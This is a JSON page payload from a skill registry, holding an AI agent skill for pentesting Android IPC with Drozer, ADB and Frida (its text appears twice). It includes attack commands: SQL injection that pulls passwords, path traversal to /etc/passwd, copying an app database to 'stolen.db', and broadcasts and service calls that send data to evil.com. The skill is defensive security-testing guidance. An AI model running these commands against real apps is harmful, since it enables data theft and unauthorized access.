[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7ABR54S0YZYASJGTPAYY5RC":3,"skill-same:01M7ABR54S0YZYASJGTPAYY5RC":102},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":16,"sourceHtmlUrl":17,"categories":18,"keywords":19,"publishedAt":20,"linkOnly":21,"markdownContent":22,"markdownBody":23,"frontMatter":24,"refName":47,"commitSha":48,"skillDirectory":49,"forksCount":14,"repositoryHtmlUrl":50,"repositoryHomepageUrl":6,"ownerHtmlUrl":51,"ownerBlogUrl":6,"ownerDescription":52,"updatedAt":53,"install":54,"resources":67},"01M7ABR54S0YZYASJGTPAYY5RC","testing-android-intents-for-vulnerabilities",null,"Tests Android inter-process communication (IPC) through intents for vulnerabilities including intent injection, unauthorized component access, broadcast sniffing, pending intent hijacking, and content provider data leakage. Use when assessing Android app attack surface through exported components, testing intent-based data flows, or evaluating IPC security. Activates for requests involving Android intent security, IPC testing, exported component analysis, or Drozer assessment.","NeelakshSaxena\u002FVayu","NeelakshSaxena","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F87892838?v=4","01M7A3B9YFS6F6N9DD1787DT86","Neelaksh Saxena","01M7A3B9ZKBT09MNMPX2XN69BY",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Ftesting-android-intents-for-vulnerabilities\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Ftesting-android-intents-for-vulnerabilities\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: testing-android-intents-for-vulnerabilities\ndescription: 'Tests Android inter-process communication (IPC) through intents for\n  vulnerabilities including intent injection, unauthorized component access, broadcast\n  sniffing, pending intent hijacking, and content provider data leakage. Use when\n  assessing Android app attack surface through exported components, testing intent-based\n  data flows, or evaluating IPC security. Activates for requests involving Android\n  intent security, IPC testing, exported component analysis, or Drozer assessment.\n\n  '\ndomain: cybersecurity\nsubdomain: mobile-security\nauthor: mahipal\ntags:\n- mobile-security\n- android\n- intents\n- ipc-security\n- owasp-mobile\n- penetration-testing\nversion: 1.0.0\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- PR.AA-05\n- ID.RA-01\n- DE.CM-09\nmitre_attack:\n- T1059\n- T1056\n- T1036\n- T1078\n- T1055\n---\n# Testing Android Intents for Vulnerabilities\n\n## When to Use\n\nUse this skill when:\n- Assessing Android app exported activities, services, receivers, and content providers\n- Testing for intent injection and unauthorized component invocation\n- Evaluating broadcast receiver security for sensitive data exposure\n- Performing IPC-focused penetration testing on Android applications\n\n**Do not use** on production devices without explicit authorization.\n\n## Prerequisites\n\n- Rooted Android device or emulator with ADB\n- Drozer agent installed on target device (`drozer agent.apk`)\n- Drozer console on host (`pip install drozer`)\n- Target APK decompiled with apktool for AndroidManifest.xml analysis\n- Frida for runtime intent monitoring\n\n## Workflow\n\n### Step 1: Enumerate Exported Components\n\n```bash\n# Using Drozer\ndrozer console connect\nrun app.package.info -a com.target.app\nrun app.package.attacksurface com.target.app\n\n# Output shows:\n# X activities exported\n# X broadcast receivers exported\n# X content providers exported\n# X services exported\n\n# List exported activities\nrun app.activity.info -a com.target.app\n\n# List exported services\nrun app.service.info -a com.target.app\n\n# List exported receivers\nrun app.broadcast.info -a com.target.app\n\n# List content providers\nrun app.provider.info -a com.target.app\n```\n\n### Step 2: Test Exported Activities\n\n```bash\n# Launch exported activities directly\nrun app.activity.start --component com.target.app com.target.app.AdminActivity\n\n# Launch with intent extras\nrun app.activity.start --component com.target.app com.target.app.ProfileActivity \\\n  --extra string user_id 1337\n\n# Test intent injection via data URI\nadb shell am start -a android.intent.action.VIEW \\\n  -d \"content:\u002F\u002Fcom.target.app\u002Fusers\u002Fadmin\" com.target.app\n\n# If admin activity opens without auth, report as authorization bypass\n```\n\n### Step 3: Test Broadcast Receivers\n\n```bash\n# Send broadcast to exported receivers\nrun app.broadcast.send --action com.target.app.PROCESS_PAYMENT \\\n  --extra string amount \"0.01\" --extra string recipient \"attacker\"\n\n# Sniff broadcasts for sensitive data\nrun app.broadcast.sniff --action com.target.app.USER_LOGIN\n\n# Via ADB\nadb shell am broadcast -a com.target.app.RESET_PASSWORD \\\n  --es email \"attacker@evil.com\"\n```\n\n### Step 4: Test Content Providers\n\n```bash\n# Query content providers for data leakage\nrun app.provider.query content:\u002F\u002Fcom.target.app.provider\u002Fusers\nrun app.provider.query content:\u002F\u002Fcom.target.app.provider\u002Fusers --projection \"password\"\n\n# Test SQL injection in content providers\nrun app.provider.query content:\u002F\u002Fcom.target.app.provider\u002Fusers \\\n  --selection \"1=1) UNION SELECT username,password FROM users--\"\n\n# Test path traversal\nrun app.provider.read content:\u002F\u002Fcom.target.app.provider\u002F..\u002F..\u002Fetc\u002Fpasswd\nrun app.provider.download content:\u002F\u002Fcom.target.app.provider\u002F..\u002Fdatabases\u002Fapp.db \u002Ftmp\u002Fstolen.db\n\n# Find injectable providers\nrun scanner.provider.injection -a com.target.app\nrun scanner.provider.traversal -a com.target.app\n```\n\n### Step 5: Test Pending Intent Vulnerabilities\n\n```javascript\n\u002F\u002F Monitor PendingIntent creation via Frida\nJava.perform(function() {\n    var PendingIntent = Java.use(\"android.app.PendingIntent\");\n\n    PendingIntent.getActivity.overload(\"android.content.Context\", \"int\",\n        \"android.content.Intent\", \"int\").implementation =\n        function(context, requestCode, intent, flags) {\n            console.log(\"[PendingIntent] getActivity:\");\n            console.log(\"  Intent: \" + intent.toString());\n            console.log(\"  Flags: \" + flags);\n\n            \u002F\u002F Check for FLAG_IMMUTABLE (secure) vs FLAG_MUTABLE (vulnerable)\n            var FLAG_MUTABLE = 0x02000000;\n            if ((flags & FLAG_MUTABLE) !== 0) {\n                console.log(\"  [VULN] FLAG_MUTABLE - PendingIntent can be modified by receiver\");\n            }\n            return this.getActivity(context, requestCode, intent, flags);\n        };\n});\n```\n\n### Step 6: Test Service Binding\n\n```bash\n# Attempt to bind to exported services\nrun app.service.start --action com.target.app.SYNC_SERVICE \\\n  --extra string server \"https:\u002F\u002Fevil.com\u002Fdata_sink\"\n\nrun app.service.send com.target.app com.target.app.MessengerService \\\n  --msg 1 0 0 --extra string command \"dump_database\" --bundle-as-obj\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|-----------|\n| **Exported Component** | Android component (activity\u002Fservice\u002Freceiver\u002Fprovider) accessible to other apps on the device |\n| **Intent** | Messaging object for requesting actions from other components; can be explicit (target specified) or implicit (action-based) |\n| **Pending Intent** | Token wrapping an intent for future execution by another app; mutable PendingIntents can be modified by recipients |\n| **Content Provider** | Component for structured data sharing between apps; SQL injection target if query parameters are not sanitized |\n| **Broadcast Receiver** | Component receiving system or app broadcasts; exported receivers can be triggered by any app |\n\n## Tools & Systems\n\n- **Drozer**: Android security assessment framework for IPC testing with pre-built modules\n- **ADB**: Command-line tool for invoking intents, starting activities, and sending broadcasts\n- **Frida**: Runtime monitoring of intent handling and PendingIntent creation\n- **apktool**: APK decompilation for AndroidManifest.xml analysis of component export status\n- **Intent Fuzzer**: Automated tool for fuzzing intent parameters across exported components\n\n## Common Pitfalls\n\n- **android:exported default changed in API 31**: Components with intent filters default to exported=true below API 31 but exported=false at API 31+. Check targetSdkVersion.\n- **Permission-protected components**: An exported component may still require a permission. Test with and without the required permission.\n- **Implicit intents vs explicit**: Only implicit intents (action-based) are interceptable by other apps. Explicit intents (specifying target) are secure.\n- **Custom permissions**: Apps can define custom permissions with different protection levels (normal, dangerous, signature). Signature-level permissions are only grantable to apps signed with the same certificate.\n","# Testing Android Intents for Vulnerabilities\n\n## When to Use\n\nUse this skill when:\n- Assessing Android app exported activities, services, receivers, and content providers\n- Testing for intent injection and unauthorized component invocation\n- Evaluating broadcast receiver security for sensitive data exposure\n- Performing IPC-focused penetration testing on Android applications\n\n**Do not use** on production devices without explicit authorization.\n\n## Prerequisites\n\n- Rooted Android device or emulator with ADB\n- Drozer agent installed on target device (`drozer agent.apk`)\n- Drozer console on host (`pip install drozer`)\n- Target APK decompiled with apktool for AndroidManifest.xml analysis\n- Frida for runtime intent monitoring\n\n## Workflow\n\n### Step 1: Enumerate Exported Components\n\n```bash\n# Using Drozer\ndrozer console connect\nrun app.package.info -a com.target.app\nrun app.package.attacksurface com.target.app\n\n# Output shows:\n# X activities exported\n# X broadcast receivers exported\n# X content providers exported\n# X services exported\n\n# List exported activities\nrun app.activity.info -a com.target.app\n\n# List exported services\nrun app.service.info -a com.target.app\n\n# List exported receivers\nrun app.broadcast.info -a com.target.app\n\n# List content providers\nrun app.provider.info -a com.target.app\n```\n\n### Step 2: Test Exported Activities\n\n```bash\n# Launch exported activities directly\nrun app.activity.start --component com.target.app com.target.app.AdminActivity\n\n# Launch with intent extras\nrun app.activity.start --component com.target.app com.target.app.ProfileActivity \\\n  --extra string user_id 1337\n\n# Test intent injection via data URI\nadb shell am start -a android.intent.action.VIEW \\\n  -d \"content:\u002F\u002Fcom.target.app\u002Fusers\u002Fadmin\" com.target.app\n\n# If admin activity opens without auth, report as authorization bypass\n```\n\n### Step 3: Test Broadcast Receivers\n\n```bash\n# Send broadcast to exported receivers\nrun app.broadcast.send --action com.target.app.PROCESS_PAYMENT \\\n  --extra string amount \"0.01\" --extra string recipient \"attacker\"\n\n# Sniff broadcasts for sensitive data\nrun app.broadcast.sniff --action com.target.app.USER_LOGIN\n\n# Via ADB\nadb shell am broadcast -a com.target.app.RESET_PASSWORD \\\n  --es email \"attacker@evil.com\"\n```\n\n### Step 4: Test Content Providers\n\n```bash\n# Query content providers for data leakage\nrun app.provider.query content:\u002F\u002Fcom.target.app.provider\u002Fusers\nrun app.provider.query content:\u002F\u002Fcom.target.app.provider\u002Fusers --projection \"password\"\n\n# Test SQL injection in content providers\nrun app.provider.query content:\u002F\u002Fcom.target.app.provider\u002Fusers \\\n  --selection \"1=1) UNION SELECT username,password FROM users--\"\n\n# Test path traversal\nrun app.provider.read content:\u002F\u002Fcom.target.app.provider\u002F..\u002F..\u002Fetc\u002Fpasswd\nrun app.provider.download content:\u002F\u002Fcom.target.app.provider\u002F..\u002Fdatabases\u002Fapp.db \u002Ftmp\u002Fstolen.db\n\n# Find injectable providers\nrun scanner.provider.injection -a com.target.app\nrun scanner.provider.traversal -a com.target.app\n```\n\n### Step 5: Test Pending Intent Vulnerabilities\n\n```javascript\n\u002F\u002F Monitor PendingIntent creation via Frida\nJava.perform(function() {\n    var PendingIntent = Java.use(\"android.app.PendingIntent\");\n\n    PendingIntent.getActivity.overload(\"android.content.Context\", \"int\",\n        \"android.content.Intent\", \"int\").implementation =\n        function(context, requestCode, intent, flags) {\n            console.log(\"[PendingIntent] getActivity:\");\n            console.log(\"  Intent: \" + intent.toString());\n            console.log(\"  Flags: \" + flags);\n\n            \u002F\u002F Check for FLAG_IMMUTABLE (secure) vs FLAG_MUTABLE (vulnerable)\n            var FLAG_MUTABLE = 0x02000000;\n            if ((flags & FLAG_MUTABLE) !== 0) {\n                console.log(\"  [VULN] FLAG_MUTABLE - PendingIntent can be modified by receiver\");\n            }\n            return this.getActivity(context, requestCode, intent, flags);\n        };\n});\n```\n\n### Step 6: Test Service Binding\n\n```bash\n# Attempt to bind to exported services\nrun app.service.start --action com.target.app.SYNC_SERVICE \\\n  --extra string server \"https:\u002F\u002Fevil.com\u002Fdata_sink\"\n\nrun app.service.send com.target.app com.target.app.MessengerService \\\n  --msg 1 0 0 --extra string command \"dump_database\" --bundle-as-obj\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|-----------|\n| **Exported Component** | Android component (activity\u002Fservice\u002Freceiver\u002Fprovider) accessible to other apps on the device |\n| **Intent** | Messaging object for requesting actions from other components; can be explicit (target specified) or implicit (action-based) |\n| **Pending Intent** | Token wrapping an intent for future execution by another app; mutable PendingIntents can be modified by recipients |\n| **Content Provider** | Component for structured data sharing between apps; SQL injection target if query parameters are not sanitized |\n| **Broadcast Receiver** | Component receiving system or app broadcasts; exported receivers can be triggered by any app |\n\n## Tools & Systems\n\n- **Drozer**: Android security assessment framework for IPC testing with pre-built modules\n- **ADB**: Command-line tool for invoking intents, starting activities, and sending broadcasts\n- **Frida**: Runtime monitoring of intent handling and PendingIntent creation\n- **apktool**: APK decompilation for AndroidManifest.xml analysis of component export status\n- **Intent Fuzzer**: Automated tool for fuzzing intent parameters across exported components\n\n## Common Pitfalls\n\n- **android:exported default changed in API 31**: Components with intent filters default to exported=true below API 31 but exported=false at API 31+. Check targetSdkVersion.\n- **Permission-protected components**: An exported component may still require a permission. Test with and without the required permission.\n- **Implicit intents vs explicit**: Only implicit intents (action-based) are interceptable by other apps. Explicit intents (specifying target) are secure.\n- **Custom permissions**: Apps can define custom permissions with different protection levels (normal, dangerous, signature). Signature-level permissions are only grantable to apps signed with the same certificate.\n",{"name":5,"tags":25,"author":32,"domain":33,"license":15,"version":34,"nist_csf":35,"subdomain":26,"description":40,"mitre_attack":41},[26,27,28,29,30,31],"mobile-security","android","intents","ipc-security","owasp-mobile","penetration-testing","mahipal","cybersecurity","1.0.0",[36,37,38,39],"PR.PS-01","PR.AA-05","ID.RA-01","DE.CM-09","Tests Android inter-process communication (IPC) through intents for vulnerabilities including intent injection, unauthorized component access, broadcast sniffing, pending intent hijacking, and content provider data leakage. Use when assessing Android app attack surface through exported components, testing intent-based data flows, or evaluating IPC security. Activates for requests involving Android intent security, IPC testing, exported component analysis, or Drozer assessment.\n",[42,43,44,45,46],"T1059","T1056","T1036","T1078","T1055","main","7540bbccf0c1ded6156a467b02c95b61ad62413f",".agents\u002Fskills\u002Ftesting-android-intents-for-vulnerabilities","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena","Currently exploring the intersection of tech","2026-09-11 03:02:31",{"source":8,"skillName":5,"commands":55,"prompt":65,"zipAvailable":66},[56,59,62],{"tool":57,"command":58},"npx","npx skills add NeelakshSaxena\u002FVayu --skill testing-android-intents-for-vulnerabilities",{"tool":60,"command":61},"bunx","bunx skills add NeelakshSaxena\u002FVayu --skill testing-android-intents-for-vulnerabilities",{"tool":63,"command":64},"pnpm","pnpm dlx skills add NeelakshSaxena\u002FVayu --skill testing-android-intents-for-vulnerabilities","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Ftesting-android-intents-for-vulnerabilities\u002FSKILL.md",true,[68,74,78,84,88,92,98],{"path":69,"resourceType":70,"resourceTypeDesc":71,"sizeBytes":72,"sourceHtmlUrl":73},"assets\u002Ftemplate.md","ASSET","资产文件",768,"https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Ftesting-android-intents-for-vulnerabilities\u002Fassets\u002Ftemplate.md",{"path":75,"resourceType":75,"resourceTypeDesc":76,"sizeBytes":77,"sourceHtmlUrl":16},"LICENSE","许可证",11255,{"path":79,"resourceType":80,"resourceTypeDesc":81,"sizeBytes":82,"sourceHtmlUrl":83},"references\u002Fapi-reference.md","REFERENCE","参考文档",1833,"https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Ftesting-android-intents-for-vulnerabilities\u002Freferences\u002Fapi-reference.md",{"path":85,"resourceType":80,"resourceTypeDesc":81,"sizeBytes":86,"sourceHtmlUrl":87},"references\u002Fstandards.md",1022,"https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Ftesting-android-intents-for-vulnerabilities\u002Freferences\u002Fstandards.md",{"path":89,"resourceType":80,"resourceTypeDesc":81,"sizeBytes":90,"sourceHtmlUrl":91},"references\u002Fworkflows.md",992,"https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Ftesting-android-intents-for-vulnerabilities\u002Freferences\u002Fworkflows.md",{"path":93,"resourceType":94,"resourceTypeDesc":95,"sizeBytes":96,"sourceHtmlUrl":97},"scripts\u002Fagent.py","SCRIPT","脚本",6810,"https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Ftesting-android-intents-for-vulnerabilities\u002Fscripts\u002Fagent.py",{"path":99,"resourceType":94,"resourceTypeDesc":95,"sizeBytes":100,"sourceHtmlUrl":101},"scripts\u002Fprocess.py",7619,"https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Ftesting-android-intents-for-vulnerabilities\u002Fscripts\u002Fprocess.py",[103,110,117,124,131,138],{"skillNo":104,"name":105,"nameZh":6,"description":106,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":107,"categories":108,"keywords":109,"publishedAt":20},"01M7ACCCVNCFKMA9X6D15X6G98","runpodctl","Runpod CLI for managing GPU\u002FCPU workloads from the terminal — pods, serverless endpoints, templates, network volumes, Hub deploys, models, SSH, and file transfer (send\u002Freceive). Use for terminal\u002FCI\u002Fscripting, Hub browse\u002Fdeploy, SSH setup, `doctor`, or when the Runpod MCP tools are not connected. For structured tool calls in an MCP-enabled session, prefer runpod-mcp.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpodctl\u002FSKILL.md",[],[],{"skillNo":111,"name":112,"nameZh":6,"description":113,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":114,"categories":115,"keywords":116,"publishedAt":20},"01M7ACC63SRHEA5KMCHSMZK2TC","runpod","Start here for any Runpod task — running GPU\u002FCPU pods, deploying serverless endpoints, templates, network volumes, building images, or understanding how Runpod works. Routes to the right skill (runpod-mcp, runpodctl, flash, companion-clis, runpod-usage, runpod-templates, runpod-migrate) and indexes two dozen live-verified end-to-end examples (golden paths) — use it when the lane is unclear, and for any multi-step or provisioning task even when it is not.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod\u002FSKILL.md",[],[],{"skillNo":118,"name":119,"nameZh":6,"description":120,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":121,"categories":122,"keywords":123,"publishedAt":20},"01M7ACC0Q1C89N9BZBV91CTQTF","runpod-usage","How Runpod works and how to work it — pods vs serverless, GPU\u002FVRAM selection, storage, building a container, networking, plus the agentic pod development loop (provision → ssh-exec → set up → poll readiness) and on-pod install hygiene (uv\u002Fapt). Use to answer \"how does X work\", \"which GPU\", \"how do I build a container\", or \"how do I stand up a workload on a pod\". Guidance, not a tool — execute with runpodctl, runpod-mcp, or flash.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-usage\u002FSKILL.md",[],[],{"skillNo":125,"name":126,"nameZh":6,"description":127,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":128,"categories":129,"keywords":130,"publishedAt":20},"01M7ACBRPE345GF5GM5B8P8RRC","runpod-templates","Runpod's official prebuilt pod templates (ComfyUI, PyTorch, and others): what each image ships, which ports and paths it uses, how to pick one, how to pin a version, and what is missing on first boot. Use when a task says \"run \u003CX> on a pod\" and an official template already covers it, instead of building an image — and when a user needs help with or wants to fix something about a Runpod template they are already running (won't boot, can't reach the UI, missing models, wrong CUDA line, broken ComfyUI workflow metadata on imported workflows): start here and route onward. Deploy with runpodctl or runpod-mcp; end-to-end walkthroughs live in the runpod router's golden paths.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-templates\u002FSKILL.md",[],[],{"skillNo":132,"name":133,"nameZh":6,"description":134,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":135,"categories":136,"keywords":137,"publishedAt":20},"01M7ACBJATHKVX1TWES2F44GY8","runpod-migrate","Migrate a codebase from the Runpod GraphQL API or REST v1 to REST v2 — inventory which parts use which API version, rewrite the call sites, flag breaking changes, and verify. Use when someone asks to move to v2, asks what v2 would change, or asks which Runpod API their code is on. For managing infrastructure rather than migrating code, use runpod-mcp or runpodctl.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-migrate\u002FSKILL.md",[],[],{"skillNo":139,"name":140,"nameZh":6,"description":141,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":142,"categories":143,"keywords":144,"publishedAt":20},"01M7ACBC7GHVH6T9YEAPCG2AP8","runpod-mcp","Manage Runpod infrastructure — pods, serverless endpoints, jobs, templates, network volumes, container-registry auth, GPU\u002FCPU catalog, and billing — via the Runpod MCP server's structured tool calls. Use when the Runpod MCP tools (create-pod, list-endpoints, …) are connected in this session, or to connect them (hosted OAuth or local npx). Prefer this over runpodctl for plain infra CRUD when MCP is available; use runpodctl for the terminal, file transfer, or SSH setup.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-mcp\u002FSKILL.md",[],[]]